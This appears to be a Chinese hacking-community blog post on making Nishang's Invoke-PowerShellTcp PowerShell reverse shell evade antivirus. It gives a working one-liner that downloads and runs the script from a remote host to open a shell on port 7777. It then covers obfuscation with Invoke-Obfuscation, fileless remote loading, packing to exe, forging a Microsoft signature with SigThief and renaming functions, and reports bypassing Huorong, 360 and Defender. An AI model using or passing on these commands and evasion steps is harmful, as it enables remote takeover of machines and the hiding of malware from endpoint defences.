宇宙安全声明:
0x01 脚本功能测试
项目地址:
https://github.com/samratashok/nishang
https://github.com/shakenetwork/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
此脚本基于Tcp协议,可实现正反向shell连接,创建交互式会话。
远程加载
//注意区别web服务端口和tcp连接端口
IEX (New-Object Net.WebClient).DownloadString('http://ip:port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress ip -port 7777
![图片[1]-PowerShell脚本反弹shell免杀 - HackTwoHub社区-HackTwoHub社区](https://cdn.jsdelivr.net/gh/Suneanist/tuchuang@main/img/image-20250826113703091.png)
本地加载
//在脚本根目录执行
IEX (Get-Content -Path .\Invoke-PowerShellTcp.ps1 -Raw); Invoke-PowerShellTcp -Reverse -IPAddress ip -Port 7777

远程加载和本地加载均可正常执行,但是都过不了杀软。这个项目是几年前发布的,特征早就被各大安全厂商记录了,所以原脚本被杀很正常。

0x02 免杀测试
由于杀软已经记录了脚本的特征,再加上其本身的一些恶意行为,导致原脚本基本无法正常使用。
笔者将一步步进行改进,尝试绕过杀软!
加密与分离加载
这里加密框架使用的是Invoke-Obfuscation,这个工具也是比较老的,但是它可以实现powershell命令或函数的重叠加密
项目地址:https://github.com/danielbohannon/Invoke-Obfuscation
使用Invoke-Obfuscation对执行命令和原脚本进行加密,详细命令参数不做赘述,可以参考项目使用文档。

生成加密脚本encode_test.ps1后,测试功能(本地加载即可)
IEX (Get-Content -Path .\Invoke-PowerShellTcp.ps1 -Raw); Invoke-PowerShellTcp -Reverse -IPAddress ip -Port 7777

功能没问题,接下来测试免杀效果
火绒安全

火绒动静态全过,这里应该有点运气成分,笔者在前几次测试中动态是过不了火绒的。每次加密的参数都是随机的,火绒主要是检查文件内容,一般会报代码混淆器,这次不知道为啥没查出来,有点离谱直接过了。
360安全

就离谱,360之前是没有过的,有点玄学了。

Defender
defender静态过了,动态被拦截了。

分离免杀
分离免杀其实就是远程加载,实现脚本不落地就可以执行。这样做的好处就是减少了杀软查杀的风险。将远程加载的命令打包加密成encode_star.ps1,将加密后的脚本encode_test.ps1放入云端,让encode_star.ps1远程执行脚本。因为encode_star.ps1中只含有启动命令的加密信息,所以静态一般没问题(最多报个代码混淆,其实encode_star.ps1不用加密也行,但是这样可能会暴露vps地址,建议不加密就做云函数)。至于动态取免杀决于恶意脚本的伪装成功与否。
加密启动命令
测试一下encode_star.ps1免杀效果,直接上云沙箱!


encode_star.ps1启动命令:
powershell.exe -ExecutionPolicy Bypass -NoExit -File encode_star.ps1

打包exe+数字签名
为了方便执行,将encode_star.ps1打包成exe
powershell.exe Invoke-ps2exe .\source.ps1 .\target.exe
笔者这里加了微软的数字签名,过程不赘诉了,工具:SigThief-master
注意数字签名加了之后可能会有意想不到的效果,比如360检查到有数字签名,免杀效果会大幅提升。
但是defender看到用的微软的数签,免杀效果反而降低,不知道defender是不是能检测出数签是盗用的,反正我加了之后露头就秒。

bpav.exe是没有数签版本,打包成exe后,免杀效果会有下降,这里我们的通过目标主要是defender和微步沙箱的查杀率。


不出意外的,没有过defender。仔细分析一下defender的报错,defender直接获取到了加密脚本解密后的函数名,由此我们可以推出,数字签名和代码加密大概率是过不了defender。
脚本特征修改
既然代码加密和加数签这种不痛不痒的操作过不了defender,那我们只好从代码入手了。
笔者这里修改了函数名变量名和启动参数。

用defender测试一下,成功反弹shell

加密+打包+上云


效果还不错。




暂无评论内容